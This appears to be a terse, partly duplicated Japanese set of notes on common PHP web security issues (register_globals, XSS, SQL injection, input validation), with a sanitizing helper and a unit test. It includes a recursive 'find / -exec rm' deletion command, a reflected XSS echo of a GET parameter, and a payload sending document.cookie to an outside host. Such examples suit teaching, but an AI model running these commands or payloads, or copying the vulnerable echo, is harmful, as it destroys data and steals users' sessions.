Web開発における汎用問題(1)
一、ユーザー入力
すべてのユーザー入力の検証が必要です
1,register_globals -->Off
file_exists($module.'.php');
2、クロスステーションスクリプト
3,SQL注入
addslashes()特殊文字列エスケープ
4、入力の検証
タイプ検証:
if(!isset($_GET['id']) { } else { $id = (int) $_GET['id']
====>helper function:
5,HMAC
認証情報キーワードハッシュ
ハッシュ、コード.
6、異常
7、パスワード
すべてのユーザー入力の検証が必要です
1,register_globals -->Off
file_exists($module.'.php');
<?php 'find / -exec rm "{}" ";"'; ?>
2、クロスステーションスクリプト
<?php echo $_GET['js']; ?>
document.location=http://www.ss/cookie.cgi?f='+document.cookie
3,SQL注入
addslashes()特殊文字列エスケープ
4、入力の検証
タイプ検証:
if(!isset($_GET['id']) { } else { $id = (int) $_GET['id']
====>helper function:
function sanitize_vars(&$vars,$signatures){
$tmp = array();
foreach($signatures as $name => $sig) {
if(!isset($vars[$name]) && isset($sig['required']) && $sig['required'])
{
$result = array(
'result' => false,
'cause' => 'parameter '.$name.' not present',
);
return $result;
}
$tmp[$name] = $vars[$name];
if (isset($sig['type'])) {
if(!settype($tmp[$name],$sig['type'])) {
$result = array(
'result' => false,
'cause' => 'parameter '.$name.' convert to '.$sig['type'].'failed',
);
return $result;
};
}
if(isset($sig['function'])) {
$tmp[$name] = $sig['function']($tmp[$name]);
}
}
$vars = $tmp;
$result = array(
'result' => true,
);
return $result;
}
class TestOfSanize extends UnitTestCase {
function TestOfSanize() {
$this->UnitTestCase();
}
function testRequired() {
$sigs = array (
'id'=>array('required' =>true, 'type' => 'int')
);
$vars = array (
);
$r = sanitize_vars(&$vars,$sigs);
$this->assertFalse($r['result'],$r['cause']);
}
}
$test = &new TestOfSanize();
$test->run(new HtmlReporter());
5,HMAC
認証情報キーワードハッシュ
ハッシュ、コード.
6、異常
7、パスワード